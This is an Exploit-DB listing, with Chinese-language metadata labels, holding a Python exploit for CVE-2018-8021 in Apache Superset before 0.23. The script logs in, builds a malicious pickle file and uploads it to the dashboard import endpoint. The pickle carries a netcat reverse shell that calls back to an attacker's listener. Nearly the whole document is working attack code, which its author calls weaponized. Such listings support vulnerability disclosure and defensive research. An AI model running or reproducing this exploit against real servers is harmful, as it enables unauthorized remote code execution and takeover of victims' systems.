Apache Superset < 0.23 - Remote Code Execution

  • 作者: David May
    日期: 2018-12-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45933/
  • # Exploit Title: Apache Superset < 0.23 - Remote Code Execution
    # Date: 2018-05-17
    # Exploit Author: David May (david.may@semanticbits.com)
    # Vendor Homepage: https://superset.apache.org/
    # Software Link: https://github.com/apache/incubator-superset
    # Version: Any before 0.23
    # Tested on: Ubuntu 18.04
    # CVE-ID: CVE-2018-8021
    
    # I originally disclosed this to the Apache Superset team back in May, and the fix had already been 
    # in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.
    
    #!/usr/bin/env python
    
    import sys
    import os
    from lxml import html
    import requests
    
    # Change these values to your TCP listener
    myIP = '192.168.137.129'
    myPort = '8888'
    # Credentials must belong to user with 'can Import Dashboards on Superset' privilege
    username = 'test'
    password = 'test'
    
    # Logic in case script arguments are not given
    if len(sys.argv) < 3:
    	print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')
    	print('Script Usage:')
    	print('./supersetrce.py <superset server ip> <superset port>')
    	sys.exit()
    	
    else:
    	# Script arguments
    	supersetIP = sys.argv[1]
    	supersetPort = sys.argv[2]
    	# Verify these URLs match your environment
    	login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/'
    	upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'
    	
    	# Checks to see if file that we are going to write already exists in case this is run more than once
    	if os.path.isfile('evil.pickle'):
    		os.remove('evil.pickle')
    		
    	# Headers that we append to our POST requests
    	headers_dict = {
    		'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
    		'DNT': '1',
    		'Connection': 'close',
    		'Upgrade-Insecure-Requests': '1',
    	}
    	
    	# Creates evil pickle file and writes the reverse shell to it
    	evilPickle = open('evil.pickle','w+')
    	evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.')
    	evilPickle.close()
    	
    	# Start a session so we have persistent cookies
    	session = requests.session()	
    	
    	# Grabs the Login page to parse it for its CSRF token
    	login_page = session.get(login_URL)
    	if login_page.status_code != 200:
    		print('Login page not reached, verify URLs in script')
    	login_tree = html.fromstring(login_page.content)
    	csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value')
    	
    	# Form data that is sent in the POST request to Login page
    	login_data = {
    		'csrf_token' : csrf_token,
    		'username' : username,
    		'password' : password,
    	}
    	
    	# Adds the Referer header for the login page
    	headers_dict['Referer'] = login_URL
    	
    	# Logon action
    	login = session.post(login_URL, headers=headers_dict, data=login_data)	
    	
    	# Grabs the Upload page to parse it for its CSRF token
    	upload_page = session.get(upload_URL)
    	if upload_page.status_code != 200:
    		print('Upload page not reached, verify credentials and URLs in script')
    	upload_tree = html.fromstring(upload_page.content)
    	csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value')
    	
    	# Adds the Referer header for the Upload page
    	headers_dict['Referer'] = upload_URL
    	
    	# Upload action
    	upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})
    	
    	# Closes the session
    	session.close()
    	sys.exit()